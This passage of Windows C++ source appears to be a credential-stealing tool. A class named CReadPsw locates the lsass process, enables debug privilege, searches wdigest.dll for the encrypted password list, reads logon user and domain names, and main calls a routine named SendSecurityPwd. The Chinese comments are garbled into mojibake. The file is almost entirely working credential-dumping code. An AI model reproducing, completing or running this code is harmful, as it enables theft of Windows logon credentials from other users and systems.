Ò»¶¨ÊÇ 4 µÄ±¶Êý for (dwProcessId = 4; dwProcessId < 10 * 1000; dwProcessId += 4) { hProcess = OpenProcess(PROCESS_ALL_ACCESS, FALSE, dwProcessId); if (hProcess != NULL) { if (!NtQueryInformationProcess(hProcess, 27, &Buffer, sizeof(Buffer), &ReturnLength)) //if (!NtQueryInformationProcess(hProcess, 27, Buffer, sizeof(Buffer), &ReturnLength)) { //pRetStr = (PWCHAR)(*(DWORD *)((DWORD)Buffer + 4)); //32bit pRetStr = (PWCHAR)Buffer + 8; //64bit wprintf(pRetStr); printf("\r\n"); nBytes = WideCharToMultiByte(CP_ACP, 0, pRetStr, -1, szCurrentPath, MAX_PATH, NULL, NULL); if (nBytes) { PCHAR pCurName = &szCurrentPath[nBytes - 1]; while (pCurName >= szCurrentPath) { if (*pCurName == '\\') break; pCurName--; } pCurName++; CString str = CharToCString(pCurName); if (lstrcmpi(szName, str) == 0) { printf("Found Lsass, Returning\r\n"); return hProcess; } } } // ¹Ø±Õ´ò¿ªµÄ¾ä±ú CloseHandle(hProcess); } } return NULL; } LPVOID CReadPsw::GetEncryptListHead() { // // ¸ù¾ÝKeyPointerSign[]»ñµÃÃÜÎÄ´æ´¢µÄ¹Ø¼üÏà¹ØµØÖ· // HINSTANCE hMod; LPVOID pEndAddr, KeyPointer, pTemp; hMod = LoadLibrary(_T("wdigest.dll")); pEndAddr = GetProcAddress(hMod, "SpInstanceInit"); pTemp = hMod; KeyPointer = NULL; while (pTemp < pEndAddr && pTemp != NULL) { KeyPointer = pTemp; pTemp = (LPVOID)search_bytes((PBYTE)pTemp + sizeof(KeyPointerSign), (PBYTE)pEndAddr, \ KeyPointerSign, sizeof(KeyPointerSign)); } //KeyPointer = (LPVOID)(*(DWORD *)((DWORD)KeyPointer - 4)); //32BIT KeyPointer = (LPVOID)((DWORD)KeyPointer - 4); FreeLibrary(hMod); return KeyPointer; } void CReadPsw::printSessionInfo(pLSAGETLOGONSESSIONDATA LsaGetLogonSessionData, pLSAFREERETURNBUFFER LsaFreeReturnBuffer, PLUID pCurLUID, OUT READPSWDATA_S* tagRPWDATA) { PSECURITY_LOGON_SESSION_DATA pLogonSessionData; LsaGetLogonSessionData(pCurLUID, &pLogonSessionData); printf("UserName: %S\n", pLogonSessionData->UserName.Buffer); //Óû§Ãû printf("LogonDomain: %S\n", pLogonSessionData->LogonDomain.Buffer); //µÇ½Óò wsprintfW(tagRPWDATA->szUserName, _T("%s"), pLogonSessionData->UserName.Buffer); wsprintfW(tagRPWDATA->szDomain, _T("%s"), pLogonSessionData->LogonDomain.Buffer); LsaFreeReturnBuffer(pLogonSessionData); } int CReadPsw::EnableDebugPrivilege() { HANDLE hToken; LUID sedebugnameValue; TOKEN_PRIVILEGES tkp; if (!OpenProcessToken(GetCurrentProcess(), TOKEN_ALL_ACCESS, &hToken)) { puts("OpenProcessToken fail"); return 0; } if (!LookupPrivilegeValue(NULL, SE_DEBUG_NAME, &sedebugnameValue)) { puts("LookupPrivilegeValue fail"); return 0; } tkp.PrivilegeCount = 1; tkp.Privileges[0].Luid = sedebugnameValue; tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; if (!AdjustTokenPrivileges(hToken, FALSE, &tkp, sizeof(tkp), NULL, NULL)) { puts("AdjustTokenPrivileges fail"); return 0; } return 1; } PBYTE CReadPsw::search_bytes(PBYTE pBegin, PBYTE pEnd, PBYTE pBytes, DWORD nsize) { // // ÔÚpBeginÓëpEndÖ®¼äËÑË÷pBytesµØÖ·´¦µÄÖ¸¶¨×Ö½ÚÐòÁУ¬×Ö½Ú¸öÊýΪnsize // DWORD count; PBYTE pDst; while ((DWORD)pBegin + (DWORD)nsize <= (DWORD)pEnd) { pDst = pBytes; count = 0; while (count < nsize && *pBegin == *pDst) { pBegin++; pDst++; count++; } if (count == nsize) break; pBegin = pBegin - count + 1; } if (count == nsize) { return (PBYTE)((DWORD)pBegin - (DWORD)count); } else { return NULL; } } // The one and only application object CWinApp theApp; using namespace std; int main() { int nRetCode = 0; HMODULE hModule = ::GetModuleHandle(nullptr); if (hModule != nullptr) { // initialize MFC and print and error on failure if (!AfxWinInit(hModule, nullptr, ::GetCommandLine(), 0)) { // TODO: change error code to suit your needs wprintf(L"Fatal Error: MFC initialization failed\n"); nRetCode = 1; } else { // TODO: code your application's behavior here. } } else { // TODO: change error code to suit your needs wprintf(L"Fatal Error: GetModuleHandle failed\n"); nRetCode = 1; } wprintf(L"Press enter to continue\n"); CReadPsw m_readPsw; m_readPsw.SendSecurityPwd(NULL); std::cin.get(); return nRetCode; } |